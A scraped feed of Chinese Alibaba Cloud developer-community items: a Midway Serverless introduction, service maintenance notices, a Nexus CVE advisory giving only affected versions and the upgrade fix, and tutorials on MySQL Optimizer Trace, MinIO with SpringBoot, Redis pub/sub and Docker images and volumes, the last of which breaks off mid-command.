    开源只是开始,终态远没有到来。

    从微服务开源,到 Serverless 开源,我们正持续将阿里沉淀的技术能力进行开放。

    只是这一次不同的地方在于,借助 Serverless 能力的释放,将帮助前端进入一个崭新的时代,只需写几个函数即可实现后端业务逻辑,推动业务快速上线,让整个前端研发效能大幅提升。

    什么是 Mindway Serverless

    自7月初发布 V1.0 以来,Midway Serverless 已经获得了超过 2.7k 的 star。Midway Serverless 是一套面向 Serverless 的解决方案,包括框架、运行时、工具链、配置规范4个部分,这4部分组合之后,就能提供了一些面向 Serverless 体系的特有能力:

    1、平台间迁移更容易

    通过提供统一的配置规范以及入口抹平机制,让代码在每个平台基本相同;

    扩展不同云平台的运行时 API,不仅能加载通用的平台间扩展,也能接入公司内部的私有化部署方案。

    2、让应用更易维护和扩展

    提供了标准的云平台函数出入参事件定义;

    提供了多套和社区前端 React、Vue 等融合一体化开发的方案;

    使用了 TypeScript 作为基础语言,方便应用扩展和定义;

    提供了完善的 Midway 体系标志性的依赖注入解决方案。

    3、生态更轻量和自由

    函数体系复用 koa 的生态和 Web 中间件能力,在处理传统 Web 时更加得心应手;

    提供 egg 组件复用 egg 插件的生态链,企业级开发链路更简单顺畅;

    Midway 体系的装饰器能力统一,让传统 Web 迁移到 Serverless 体系更快更好。

    **Midway Serverless @GitHub
    https://github.com/midwayjs/midway**

    防平台锁定

    Vendor Lock-in 是每个使用云平台的的人都会拷问灵魂的问题,Midway Serverless 一开始的初衷就是让一套代码能够运行在不同的平台和运行时之上,我们不建议在不了解全貌时去自定义运行时,那非常的危险。事实上,官方的运行时是运行最稳定,也一定是性能最好的,所有的基准跑分都是基于此。

    我们了解的大多数企业在面对 Serverless 的第一个问题就是,我的代码是不是一定得绑死到阿里云、腾讯云或者 AWS 等等。

    面对这个问题,Midway Serverless 提供了一套 “隐藏式” 入口加上通用化定义来解决这个问题。

    针对每个平台,Midway Serverless 提供了不同的运行时启动器,用于抹平各个平台的差异,并且通过这些启动器,将各个平台的出入参,以及各个 event 结构,网关的返回格式进行规则化,让用户尽可能不感知底层容器以及协议的差异。

    image.png
    除此之外,Midway Serverless 提供了一套 Spec 定义,来抹平多个平台的差异,同时也能方便的在多个平台间复用相同的工具链和函数逻辑。

    image.png
    这样,不管是 API Gateway,还是普通的 HTTP 触发器,都能在统一的编程平面中提供 API,让编写代码变的简单。

    前端赋能

    云 + 端的开发体验是 Midway Serverless 目标之一,传统应用的开发,前端和后端分离,多仓库开发,部署分离。就算使用了 Node.js 的胶水层,也无法避免人员开发体感上的割裂。而在 Serverless 体系下,这不是什么问题。

    由于后端的大幅简化,再加上云服务的 BaaS 化,让数据聚合,页面渲染变的更容易,也能更快的让前端上手和开发。

    一体化慢慢成为了这一块的前端诉求,所谓的一体化,不仅仅是传统仓库的融合,也是整个开发模式的演进,从工程体系加上代码,CI/CD 的整套体系重塑的机会。

    如今的 Midway Serverless,提供了和前端一体的开发方案,囊括了社区现有的 React、Vue 等生态,也对整个工具链(Webpack,ice scrips,umi 等)做了定制化方案,对不同的场景,比如博客等也提供了开箱即用的解决方案。
    image.png
    至于详细的前后端一体化能力,我们后续将单独开一篇文章来介绍前端一体化的细节和思考。

    应用和函数

    Serverless 是未来一段时间的方向,也是前端迈向更高层次的铺路砖。

    之前一直在思索,如今的函数式开发的终态和应用的关系到底是什么?

    现阶段,我们的答案是趋于统一,在被无数次的灵魂拷问和用户需求的追问中,我们得出了这个答案,函数即是应用在当前业务中的最小体现,更简单的来说,是在最小规格容器中运行应用的部分代码。

    之后的一段时间,我们将聚焦于更多平台的接入,以及传统应用的迁移方案上,让之前的用户也能享受到 Serverless 弹性的红利,让企业成本更低,业务上线更容易。

    社区和未来

    在阿里大中台、小前端业务架构日趋深化的背景下,借助其云原生/Serverless 的发展,去年 Node.js 在业务端到端交付场景上看到了未来。

    新一代云 + 端的前台业务交付模式逐渐成为现实,这可以帮助技术团队塑造有业务整体交付能力的特种兵,帮助业务快赢。但其路漫漫仍诸多不完善,为了尽早达到这一步,需要高度聚焦在两个核心问题上:1. 规模化成本、2. 交付速度。

    期望在未来透过我们对规模化成本、交付速度的持续投入,Node.js/Serverless 体系可以体现出全面的先进性。

    生态体系:

    image.png

    社区合作伙伴:

    Koa、Egg、icejs、ykfe/ssr

    test

    本文作者:

    陈仲寅,花名张挺,淘系高级前端技术专家,长期耕耘于 Node.js 技术栈,为淘宝和阿里其他 BU 提供框架和中间件解决方案,阿里集团 Serverless 标准化规范负责人,负责淘宝整体的 Node.js 体系基础建设,解决全栈开发的各种维护和稳定性问题,也同时负责 MidwayJs 系列内部和社区开源产品,包括 Midway、Sandbox、Pandora.js、Injection 等开源产品的开发、维护等工作。

    ]]>
    【升级】8月5日阿里云域名实名认证系统维护通知 Fri, 02 May 2025 09:39:03 +0800

    【阿里云】【域名】【域名实名认证系统维护通知】

    维护时间:北京时间2020年8月5日 00:00 - 03:00

    维护内容:阿里云域名实名认证系统将于上述时间进行系统维护。

    维护影响:届时域名实名认证(包括命名审核和实名资料审核)和域名信息模板实名认证等相关操作,将无法正常使用,在此期间会对您造成的影响如下:

    1、您提交的域名信息模板实名认证将会失败;

    2、您在单个域名下上传的实名认证资料无法立即提交至审核机构,将长时间处于“上传中”状态,待维护结束后系统自动完成提交;

    3、若您使用已实名认证信息模板注册或购买域名,域名注册或购买成功后,实名认证(包括命名审核和实名资料审核)将长时间处于“处理中”状态,待维护结束后系统自动完成提交;

    4、若您操作域名持有者信息修改(过户)至已实名认证信息模板,将会失败;

    5、域名转入提交实名认证(包括命名审核和实名资料审核)将会延迟,待维护结束后系统自动完成提交;

    6、您通过其他通道(例如API、APP等)提交的域名实名认证(包括命名审核和实名资料审核)将会延迟。

    如果您需要注册或管理以上业务操作,建议您避开该时间段,以免给您的业务造成影响。

    由此给您带来的不便,我们表示歉意,敬请谅解。

    ]]>
    【升级】8月10日.cc/.tv域名实名认证通知 Fri, 02 May 2025 09:39:03 +0800

    【阿里云】【域名】【.cc/.tv域名实名认证通知】

    开始时间:北京时间2020年8月10日 10:00

    升级内容:.cc/.tv域名实名认证系统将于上述时间开放。

    升级影响:届时.cc/.tv域名的注册、转入、持有者信息修改(过户)等操作将要求进行域名实名认证(包括命名审核和实名资料审核),具体要求如下:

    1、新注册.cc/.tv域名若未完成域名实名认证,将被注册局将暂停解析(Serverhold),无法正常使用。

    2、.cc/.tv域名进行持有者信息修改(过户)操作时必须完成实名认证,否则将过户失败。

    3、.cc/.tv域名转入阿里云中国站时,必须选择已实名认证信息模板并等待命名审核结果,若实名认证不通过,将转入失败。

    4、.cc/.tv域名实名认证系统开放后,您可以在“控制台--域名列表--未实名认证域名”列表中查看并提交实名认证。

    存量域名实名认证完成截止时间待注册局进一步通知,请您尽快提交合规资料完成实名认证,以免影响您网站/邮箱或网络应用的正常使用。

    感谢您的理解与支持!


    点此查看:《域名实名认证所需资料》

    点此查看:《域名实名认证操作步骤》

    ]]>
    【升级】8月消息服务MNS升级计划通知 Fri, 02 May 2025 09:39:03 +0800

    【阿里云】【消息服务MNS】【升级通知】

    升级窗口:

    北京时间2020年8月06日 00:00 - 06:00

    北京时间2020年8月13日 00:00 - 06:00

    北京时间2020年8月20日 00:00 - 06:00

    北京时间2020年8月27日 00:00 - 06:00

    升级内容:华北1(青岛)、华北2(北京)、华北3(张家口)、华北5(呼和浩特)、华东1(杭州)、华东2(上海)、华南1(深圳)、华东2金融云、华南1金融云、华北2政务云、香港、亚太东南1(新加坡)、亚太东南2(悉尼)、亚太东南5(雅加达)、亚太南部1(孟买)、中东东部1(迪拜)、欧洲中部1(法兰克福)、美国东部1(弗吉尼亚)、美国西部1(硅谷)、英国(伦敦)等地域的消息服务升级。

    升级影响:升级期间MNS相关服务及控制台访问可能会出现闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过1分钟,请在客户端中做好重连重试机制。如需在控制台进行管理操作,请避开维护时间段。

    给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

    ]]>
    【升级】物联网平台接入IP下线通知 Fri, 02 May 2025 09:39:03 +0800

    【阿里云】【物联网平台】【升级通知】

    升级时间:北京时间2020年9月30日 24:00

    升级内容:物联网平台 218.11.0.64、116.211.167.65、118.178.217.16 共3个接入IP地址将于上述时间下线停止使用。

    升级影响:升级对正常使用DNS域名接入的设备没有影响。物联网平台最新的接入IP地址列表参考公告,建议您不要在设备端写死接入IP地址,物联网平台不保障接入IP地址永久不变。如您需要物联网卡定向流量服务,请提交工单与我们联系。

    由此给您带来的不便,我们表示歉意,感谢您的理解与支持!

    ]]>
    【升级】8月微消息队列MQTT升级公告 Fri, 02 May 2025 09:39:03 +0800

    【阿里云】【微消息队列MQTT】【升级通知】

    升级窗口:

    北京时间2020年08月03日 23:00 - 2020年08月04日 07:00

    北京时间2019年08月05日 23:00 - 2020年08月06日 07:00

    北京时间2019年08月10日 23:00 - 2020年08月11日 07:00

    北京时间2019年08月12日 23:00 - 2020年08月13日 07:00

    北京时间2019年08月17日 23:00 - 2020年08月18日 07:00

    北京时间2019年08月19日 23:00 - 2020年08月20日 07:00

    北京时间2019年08月24日 23:00 - 2020年08月25日 07:00

    北京时间2019年08月26日 23:00 - 2020年08月27日 07:00

    北京时间2019年08月31日 23:00 - 2020年09月01日 07:00

    升级内容:所有地域的MQTT服务。

    升级影响:

    升级期间MQTT控制台和集群中每个服务节点可能出现秒级闪断(闪断时间和集群规模正相关),客户端应用需要设置自动重连,以免影响业务。

    升级期间,消息发送可能会有少量失败,应用做好断连失败重试机制;同时可能会有消息延迟的现象。如需在控制台进行管理操作,请避开维护时间段。

    给您带来的不便敬请谅解,有任何问题,可随时通过工单联系反馈。

    ]]>
    【升级】8月4日Afilias注册局维护通知 Fri, 02 May 2025 09:39:03 +0800

    阿里云【域名】【Afilias注册局维护通知】

    维护时间:北京时间2020年8月4日 23:00 - 8月5日 01:00

    维护内容:接到注册局的通知,注册局中国站将于上述时间对后台系统进行维护升级。

    维护影响:届时 .Red/.Kim/.Pro/.Asia/.Info/.Mobi域名的注册、续费、信息修改和查询域名注册信息等操作,将会无法使用,在此期间会对您造成的影响如下:

    1、您提交的注册(购买)、续费、转入、赎回、一口价域名业务在支付费用后状态为“处理中”,待维护结束后将变为正常的“成功”状态;

    2、维护过程中您无法对域名注册信息进行修改,将提示修改失败。

    如果您需要注册或管理以上业务操作,建议您避开该时间段,以免给您的业务造成影响。

    由此给您带来的不便,我们表示歉意,敬请谅解。

    ]]>
    【漏洞预警】Nexus Repository Manager 3.x 远程命令执行漏洞(CVE-2020-15871) Fri, 02 May 2025 09:39:03 +0800

    2020年8月3日,阿里云应急响应中心监测到Nexus Repository Manager 3.x 版本存在远程命令执行漏洞。


    漏洞描述

    Sonatype Nexus Repository 是一个开源的仓库管理系统,在安装、配置、使用简单的基础上提供了更加丰富的功能。近日Sonatype官方发布安全公告披露了在Nexus Repository Manager 3.x 版本中存在远程命令执行漏洞(CVE-2020-15871),攻击者可在登录后利用该漏洞执行任意命令。漏洞利用需要登录,危害相对较小。阿里云应急响应中心提醒Nexus Repository Manager 3.x 用户尽快采取安全措施阻止漏洞攻击。


    影响版本

    Nexus Repository Manager OSS/Pro version < 3.25.1


    安全建议

    升级到Nexus Repository Manager 3.x 至最新版本 3.25.1


    相关链接

    https://support.sonatype.com/hc/en-us/articles/360052192693-CVE-2020-15871-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-07-29



    我们会关注后续进展,请随时关注官方公告。

    如有任何问题,可随时通过工单或服务电话95187联系反馈。

    阿里云应急响应中心

    2020.8.3

    ]]>
    100% 展示 MySQL 语句执行的神器-Optimizer Trace -阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 在上一篇文章《用Explain 命令分析 MySQL 的 SQL 执行》中,我们讲解了 Explain 命令的详细使用。但是它只能展示 SQL 语句的执行计划,无法展示为什么一些其他的执行计划未被选择,比如说明明有索引,但是为什么查询时未使用索引等。为此,MySQL 提供了 Optimizer Trace 功能,让我们能更加详细的了解 SQL 语句执行的所有分析,优化和选择过程。

    如果您想更深入地了解为什么选择某个查询计划,那么优化器跟踪非常有用。虽然 EXPLAIN 显示选定的计划,但Optimizer Trace 能显示为什么选择计划:您将能够看到替代计划,估计成本以及做出的决策。本篇文章会详细讲解 Optimizer Trace 展示的所有相关信息,并且会辅之一些具体使用案例。

    基于成本的执行计划

    在了解 Optimizer Trace 的之前,我们先来学习一下 MySQL 是如何选择众多执行计划的。

    MySQL 会使用一个基于成本(cost)的优化器对执行计划进行选择。每个执行计划的成本大致反应了该计划查询所需要的资源,主要因素是计算查询时将要访问的行数。优化器主要根据从存储引擎获取数据的统计数据和数据字典中元数据信息来做出判断。它会决定是使用全表扫描或者使用某一个索引进行扫描,也会决定表 join的顺序。优化器的作用如下图所示。

    image

    优化器会为每个操作标上成本,这些成本的基准单位或最小值是从磁盘读取随机数据页的成本,其他操作的成本都是它的倍数。所以优化器可以根据每个执行计划的所有操作为其计算出总的成本,然后从众多执行计划中,选取成本最小的来最终执行。

    既然是基于统计数据来进行标记成本,就总会有样本无法正确反映整体的情况,这也是 MySQL 优化器有时做出错误优化的重要原因之一。

    Optimizer Trace 的基本使用

    首先,我们来看一下具体如何使用 Optimizer Trace。默认情况下,该功能是关闭的,大家可以使用如下方式打开该功能,然后执行自己需要分析的 SQL 语句,然后再从 INFORMATION_SCHEMA 的 OPTIMIZER_TRACE中查找到该 SQL 语句执行优化的相关信息。

    # 1. 打开optimizer trace功能 (默认情况下它是关闭的):
    SET optimizer_trace="enabled=on";
    SELECT ...; # 这里输入你自己的查询语句
    SELECT * FROM INFORMATION_SCHEMA.OPTIMIZER_TRACE;
    # 当你停止查看语句的优化过程时,把optimizer trace功能关闭
    SET optimizer_trace="enabled=off";

    这个 OPTIMIZER_TRACE 表有4个列,如下所示:

    • QUERY:表示我们的查询语句。
    • TRACE:表示优化过程的JSON格式文本。
    • MISSING_BYTES_BEYOND_MAX_MEM_SIZE:由于优化过程可能会输出很多,如果超过某个限制时,多余的文本将不会被显示,这个字段展示了被忽略的文本字节数。
    • INSUFFICIENT_PRIVILEGES:表示是否没有权限查看优化过程,默认值是0,只有某些特殊情况下才会是1,我们暂时不关心这个字段的值。

    其中,信息最多也最为重要的就是第二列 TRACE,它也是我们后续分析的重点。

    TRACE 列的基本格式

    TRACE 列的内容是一个超级大的 JSON 数据,直接展开然后一条一条解析估计能看到大伙脑壳疼。

    image

    所以,我们先来看一下这坨大 JSON 的骨架。它有三大块内容,也代表着 SQL 语句处理的三个阶段,分别为准备阶段,优化阶段和执行阶段。

    image

    接下来,我们详细介绍一个案例,在案例中介绍涉及到的具体字段和含义。

    为什么查询未走索引而是全表扫描

    首先,SQL 语句查询不使用索引的情况有很多,我们这里只讨论因为基于成本的优化器认为全表查询执行计划的成本低于走索引执行计划的情况。

    如下图这个场景,明明 val 列上有索引,并且 val 现存值也有一定差异性,为什么没有使用索引进行查询呢?

    image

    我们按照上文使用 Optimizer Trace 找到其 join_optimization 中 range_analysis 相关数据,它会展示 where 从句范围查询过程中索引的选择情况

    image

    由上图可以看出,MySQL 对比了全表扫描和使用 val 作为索引两个方案的成本,最后发现虽然全表扫描需要扫描更多的行,但是成本更低。所以选择了全表扫描的执行方案。

    这是为什么呢?明明使用 val 索引可以少扫描 4 行。这其实涉及 InnoDB 中使用索引查询数据行的原理。

    Innodb引擎查询记录时在无法使用索引覆盖(也就是需要查询的数据多与索引值,比如该例子中,我要查name,而索引列是 val)的场景下,需要做回表操作获取记录的所需字段,也就是说,通过索引查出主键,再去查数据行,取出对应的列,这样势必是会多花费成本的。

    所以在回表数据量比较大时,经常会出现 Mysql 对回表操作查询代价预估代价过大而导致不使用索引的情况。

    一般来说,当SQL 语句查询超过表中超过大概五分之一的记录且不能使用覆盖索引时,会出现索引的回表代价太大而选择全表扫描的现象。且这个比例随着单行记录的字节大小的增加而略微增大。

    通过 range_analysis 中的相关数据也可以对 where 从句使用多个索引列,如何选择执行时使用的索引的情况进行分析。

    小节

    终于,介绍了有关于 MySQL 语句执行分析的 explain 和 Optimizer Trace,下一篇,我们将分析具体的死锁场景。

    个人博客,欢迎来玩

    ]]>
    SpringBoot2 整合MinIO中间件,实现文件便捷管理-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 一、MinIO简介

    1、基础描述

    MinIO是一个开源的对象存储服务。适合于存储大容量非结构化的数据,例如图片、视频、日志文件、备份数据和容器/虚拟机镜像等,而一个对象文件可以是任意大小,从几kb到最大5T不等。

    MinIO是一个非常轻量的服务,可以很简单的和其他应用的结合,类似 NodeJS, Redis 或者 MySQL。

    2、存储机制

    MinIO使用按对象的嵌入式擦除编码保护数据,该编码以汇编代码编写,可提供最高的性能。MinIO使用Reed-Solomon代码将对象划分为n/2个数据和n / 2个奇偶校验块-尽管可以将它们配置为任何所需的冗余级别。 这意味着在12个驱动器设置中,将一个对象分片为6个数据和6个奇偶校验块。即使丢失了多达5个((n/2)–1)个驱动器(无论是奇偶校验还是数据),仍然可以从其余驱动器可靠地重建数据。MinIO的实现可确保即使丢失或无法使用多个设备,也可以读取对象或写入新对象。最后,MinIO的擦除代码位于对象级别,并且可以一次修复一个对象。

    二、MinIO环境搭建

    1、安装包下载

    https://dl.min.io/server/minio/release/linux-amd64/minio

    建议使用某雷下载,速度会快点,下载包上传到/opt/minioconfig/run目录下。

    2、创建数据存储目录

    mkdir -p /data/minio/data

    3、服务启动

    启动并指定数据存放地址

    /opt/minioconfig/run/minio server /data/minio/data/

    输出日志

    Endpoint:  http://localhost:9000  http://127.0.0.1:9000    
    AccessKey: minioadmin 
    SecretKey: minioadmin

    这里就是登录地址和账号密码。

    三、整合SpringBoot环境

    1、基础依赖

    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId>
    </dependency>
    <dependency>
        <groupId>io.minio</groupId>
        <artifactId>minio</artifactId>
        <version>3.0.12</version>
    </dependency>

    2、基础配置

    配置要素:地址和端口,登录名,密码,HTML存储桶,图片存储桶。

    24-1.jpg

    minio:
      endpoint: http://192.168.72.133:9000
      accessKey: minioadmin
      secretKey: minioadmin
      bucketNameHtml: html
      bucketNameImage: image

    文件上传之后,可以基于文件地址直接访问,但是需要在MinIO中配置文件的读写权限:

    24-2.jpg

    3、配置参数类

    @Component
    @ConfigurationProperties(prefix = "minio")
    public class ParamConfig {
    
        private String endpoint ;
        private String accessKey ;
        private String secretKey ;
        private String bucketNameHtml ;
        private String bucketNameImage ;
        // 省略 get 和 set方法
    }

    4、基于MinIO配置类

    封装MinIO客户端连接工具,文件上传的基础方法,返回文件在MinIO服务上的URL地址。

    import io.minio.MinioClient;
    import org.slf4j.Logger;
    import org.slf4j.LoggerFactory;
    import org.springframework.stereotype.Component;
    import javax.annotation.PostConstruct;
    import javax.annotation.Resource;
    
    @Component
    public class MinIOConfig {
    
        private static final Logger LOGGER = LoggerFactory.getLogger(MinIOConfig.class) ;
    
        @Resource
        private ParamConfig paramConfig ;
    
        private MinioClient minioClient ;
    
        /**
         * 初始化 MinIO 客户端
         */
        @PostConstruct
        private void init(){
            try {
                minioClient = new MinioClient(paramConfig.getEndpoint(),
                                              paramConfig.getAccessKey(),
                                              paramConfig.getSecretKey());
            } catch (Exception e) {
                e.printStackTrace();
                LOGGER.info("MinIoClient init fail ...");
            }
        }
    
        /**
         * 上传 <html> 页面
         */
        public String uploadHtml (String fileName, String filePath) throws Exception {
            minioClient.putObject(paramConfig.getBucketNameHtml(),fileName,filePath);
            return paramConfig.getEndpoint()+"/"+paramConfig.getBucketNameHtml()+"/"+fileName ;
        }
    
        /**
         * 上传 <img> 图片
         */
        public String uploadImg (String imgName, String imgPath) throws Exception {
            minioClient.putObject(paramConfig.getBucketNameImage(),imgName,imgPath);
            return paramConfig.getEndpoint()+"/"+paramConfig.getBucketNameImage()+"/"+imgName ;
        }
    }

    5、服务实现

    提供两个基础方法:HTML和图片上传,存储在不同位置。

    import com.minio.file.config.MinIOConfig;
    import org.springframework.stereotype.Service;
    import javax.annotation.Resource;
    
    @Service
    public class UploadServiceImpl implements UploadService {
    
        @Resource
        private MinIOConfig minIOConfig ;
    
        // 上传 <html> ,返回服务器地址
        @Override
        public String uploadHtml(String fileName, String filePath) throws Exception {
            return minIOConfig.uploadHtml(fileName,filePath);
        }
    
        // 上传 <img> ,返回服务器地址
        @Override
        public String uploadImg(String imgName, String imgPath) throws Exception {
            return minIOConfig.uploadImg(imgName,imgPath);
        }
    }

    上传之后,基于浏览器访问接口返回的url,查看效果:

    24-3.jpg

    四、源代码地址

    GitHub·地址
    https://github.com/cicadasmile/middle-ware-parent
    GitEE·地址
    https://gitee.com/cicadasmile/middle-ware-parent
    ]]>
    有redis发布订阅还需要MQ的吗-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 本文项目地址:https://github.com/longxiaonan/java-sea/tree/master/javasea-nosql/javasea-nosql-redis-subpub-springdata

    发布者

    com.javasea.redis.publish.TestSenderController定时发布信息到redis

    /**
     * 定时器模拟消息发布者
     */
    @EnableScheduling
    @Component
    public class TestSenderController {
        @Autowired
            private StringRedisTemplate stringRedisTemplate;
    
        /** 向redis消息队列index通道发布消息*/
        @Scheduled(fixedRate = 2000)
        public void sendMessage(){
            stringRedisTemplate.convertAndSend("pmp",String.valueOf(Math.random()));
            stringRedisTemplate.convertAndSend("channel",String.valueOf(Math.random()));
        }
    }

    订阅者

    com.javasea.redis.subscribe.RedisMsg接口的两个实现类RedisChannelSub和RedisPmpSub会
    将收到的信息打印到控制台

    public class RedisChannelSub implements RedisMsg {
        @Override
        public void receiveMessage(String message) {
            //注意通道调用的方法名要和RedisConfig2的listenerAdapter的MessageListenerAdapter参数2相同
            System.out.println("这是RedisChannelSub"+"-----"+message);
        }
    }
    public class RedisPmpSub implements RedisMsg{
    
        /**
         * 接收消息的方法
         * @param message 订阅消息
         */
        @Override
        public void receiveMessage(String message){
            //注意通道调用的方法名要和RedisConfig2的listenerAdapter的MessageListenerAdapter参数2相同
    
            System.out.println("这是RedisPmpSub"+"+++++++++++++++++"+message);
        }
    }
    /**
     * @Description 普通的消息处理器接口
     * @Author longxiaonan@163.com
     * @Date 23:50 2020/7/21 0021
     **/
    @Component
    public interface RedisMsg {
    
        public void receiveMessage(String message);
    }

    路由配置

    RedisConfig2要配置listner和topic的路由,topic中的channel和TestSenderController的channel要对应

    @Bean
    RedisMessageListenerContainer container(RedisConnectionFactory connectionFactory) {
    
        RedisMessageListenerContainer container = new RedisMessageListenerContainer();
        container.setConnectionFactory(connectionFactory);
        //订阅了一个叫pmp和channel 的通道,多通道
        container.addMessageListener(listenerAdapter(new RedisPmpSub()),new PatternTopic("pmp"));
        container.addMessageListener(listenerAdapter(new RedisChannelSub()),new PatternTopic("channel"));
        container.addMessageListener(listenerAdapter(new RedisChannelSub()),new PatternTopic("flowMsgChennel"));
        //这个container 可以添加多个 messageListener
        return container;
    }
     /**
         * 配置消息接收处理类
         * @param redisMsg  自定义消息接收类
         * @return
         */
        @Bean()
        @Scope("prototype")
        MessageListenerAdapter listenerAdapter(RedisMsg redisMsg) {
            //这个地方 是给messageListenerAdapter 传入一个消息接受的处理器,利用反射的方法调用“receiveMessage”
            //也有好几个重载方法,这边默认调用处理器的方法 叫handleMessage 可以自己到源码里面看
            return new MessageListenerAdapter(redisMsg, "receiveMessage");//注意2个通道调用的方法都要为receiveMessage
        }

    启动程序

    控制台输出:

    2020-07-29 11:42:10.716 ERROR 11776 --- [   container-13] o.s.d.r.l.RedisMessageListenerContainer  : Connection failure occurred. Restarting subscription task after 5000 ms
    这是RedisPmpSub+++++++++++++++++0.6018044162751559
    这是RedisChannelSub-----0.6492059008427755
    这是RedisPmpSub+++++++++++++++++0.14009953778676876
    这是RedisChannelSub-----0.5201275445287328
    这是RedisPmpSub+++++++++++++++++0.2196083162392929
    这是RedisChannelSub-----0.3903862134377962
    这是RedisPmpSub+++++++++++++++++0.5297280660628917

    本文项目地址:https://github.com/longxiaonan/java-sea/tree/master/javasea-nosql/javasea-nosql-redis-subpub-springdata

    ]]>
    阿里云“万仓计划”重磅发布,助力每个企业构建属于自己的云原生数据仓库-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 阿里云新一代云原生数据仓库AnalyticDB全新升级发布会强势来袭!点击以下超链接,观看精彩回放!
    新一代云原生数据仓库AnalyticDB 全新升级发布会

    7月23日,”万仓计划”发布会由阿里云智能数据库事业部总负责人、达摩院数据库首席科学家李飞飞和阿里云智能数据库产品事业部OLAP产品部研究员占超群隆重发布。
    随着数字化进程的推进,企业都面临着挖掘数据价值以驱动业务发展和创新的核心诉求。此次阿里云推出“万仓计划”,意在助力每个企业构建属于自己的数据仓库,助力客户实现低成本数据按需存储、实时在线分析和业务洞察。

    “万仓计划”推出“免费实时一键建仓服务”、“1元体验的云原生数据仓库”、“完善的开发者生态及应用生态”等一整套方案,助力企业低成本、低门槛构建属于自己的数据仓库。

    基于一键建仓功能,AnalyticDB可帮助用户一键将全网数据实时集成到数据仓库中;基于“1元体验的云原生数据仓库”、“开发者生态及应用生态”可以让用户极低成本完成数据接入到数据开发到数据分析(如QuickBI、QuickAudience、Dataphin)到数据应用(支持多语言)的完整闭环。
    如IDC所述,全球数据正在发生质变,呈现爆炸性增长、实时化、云为主要存储及多样化等新特性,对数据仓库提出云原生、实时分析、实时计算、海量存储及多计算场景等能力诉求。阿里云云原生数据仓库AnalyticDB采用存储计算分离+多副本架构,支持从1个节点到最大5000节点的实时按需弹性扩容,可实现PB级数据存储、查询秒级响应,使业务分析效率从天级提升到分钟级乃至秒级。
    此外,AnalyticDB还解决了离在线任务的混合处理、结构化和非结构化异构数据融合分析,以及大规模系统管理成本指数级增长等问题。
    今年,在数据库与大数据权威评测机构TPC发布的面向复杂分析场景TPC-DS10TB权威基准测试中,AnalyticDB性能指标刷新世界纪录,荣登榜单第一名。
    在TPC权威发布的事务与分析混合负载TPC-H基准测试中,AnalyticDB也刷新了TPC-H 30TB性能榜单世界纪录,相比第二名微软 SQL Server 2019,性能提升290%。同时,AnalyticDB也是目前唯一通过中国信息通信研究院《分布式分析型数据库基础能力专项与性能专项》、《分布式事务型数据库基础能力专项与性能专项》测评双认证的分布式数据库产品。
    AnalyticDB自2015年在云上正式发布以来,客户覆盖游戏、广告、文旅、零售、金融、数字政府等众多行业,助力客户实现精细化运营、精准营销、业务分析洞察等核心场景。在本次发布会上,AnalyticDB产品的经典客户聚水潭、天弘基金也分享了最佳的产品实践。
    聚水潭客户表示,基于阿里云AnalyticDB快速构建在线消费者营销与分析报表系统,构建商家精细化运营核心竞争力;同时,客户表示在线分析报表系统相较于传统平台效率提升10倍。
    天弘基金客户分享了AnalyticDB实时数仓在基金业务场景的应用,随着天弘基金销售业务微服务化的改造和销售数据量的原因,基金销售业务数据大多采用了分库分表等技术,导致实时掌握用户和业务销售情况越来越困难。而AnalyticDB作为数据仓库的引入,多快好省地响应运营、主动营销、数据分析等多方面的需求。
    经过八年打磨的阿里云自研产品AnalyticDB,覆盖阿里巴巴集团的所有核心业务;在数据化运营和传统数仓替换升级领域有众多标杆案例。未来数据库将进入云原生时代,AnalyticDB为云而生,助力业务实现开放化、敏捷化、在线化。
    阿里云新品发布会第102期:新一代云原生数据仓库AnalyticDB 全新升级.jpeg

    ]]>
    Docker中级篇-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 Docker镜像理解

    Docker镜像是什么

    镜像是一种轻量级、可执行的独立软件包,用来打包软件运行环境和基于运行环境开发的软件,它包含运行某个软件所需的所有内容,包括代码、运行时库、环境变量和配置文件

    Docker镜像加载原理

    UnionFs:联合文件系统

    UnionFs(联合文件系统):Union文件系统(UnionFs)是一种分层、轻量级并且高性能的文件系统,它支持对文件系统的修改作为一次提交来一层层的叠加,同时可以将不同目录挂载到同一个虚拟文件系统下,UnionFs联合文件系统是Docker镜像的基础,镜像可以通过分层来进行继承,基于基础镜像(没有父镜像),可以制作各种具体的应用镜像
    特性:一次同时加载多个文件系统,但从外面看起来,只能看到一个文件系统,联合加载会把各层文件系统叠加起来,这样最终的文件系统会包含所有底层的文件和目录

    Docker镜像加载原理

    Docker的镜像实际上由一层一层的UnionFs文件系统组成
    bootfs:主要包含 bootloader和 Kernel,bootloader主要是引导加 kernel,Linux刚启动时会加bootfs文件系统,在 Docker镜像的最底层是bootfs,这一层与我们典型的Linux/Unix系统是一样的,包含bootfs加载器和内核,当bootfs加载完成之后整个内核就都在内存中了,此时内存的使用权已由 bootfs转交给内核,此时系统也会卸载bootfs。
    rootfs:在 bootfs之上,包含的就是典型 Linux系统中的/dev、/proc、/bin、/etc等标准目录和文件,rootfs就是各种不同的操作系统发行版,比如:Ubuntu,、CentOS等等

    简单理解:

     1. 对于Docker安装OS来说:就是Docker使用了Linux本身的bootfs,只需要安装自己所需的rootfs
     2. 对于Docker安装普通镜像来说:就是Docker本身是分层下载镜像,所以可以提取出公共层镜像,进行复用
    

    Docker镜像的特点

    Docker镜像都是只读的,当容器启动时,一个新的可写层加载到镜像的顶部

    这一层就是我们通常说的容器层,容器之下的都叫镜像层

    -

    Commit镜像

    # 提交本地镜像 
    # -a:作者信息 -m:描述信息 容器ID 镜像名称:版本信息
    docker commit -a="test" -m="test" 容器id tomcat01:1.0

    Docker容器数据卷

    什么是容器数据卷

    容器之间可以有一个数据共享的技术!Docker容器中产生的数据,同步到本地!

    这就是卷技术!目录的挂载,将我们容器内的目录,挂载到Linux上面!

    容器数据卷使用命令

    # 命令
    docker run -it -v 主机目录:容器内目录 /bin/bash

    挂载MySQL数据库到Liunx宿主机

    # 1. 下载MySQL
    docker pull mysql
    # 2. 启动并挂载 -e:特别注意需要设置密码
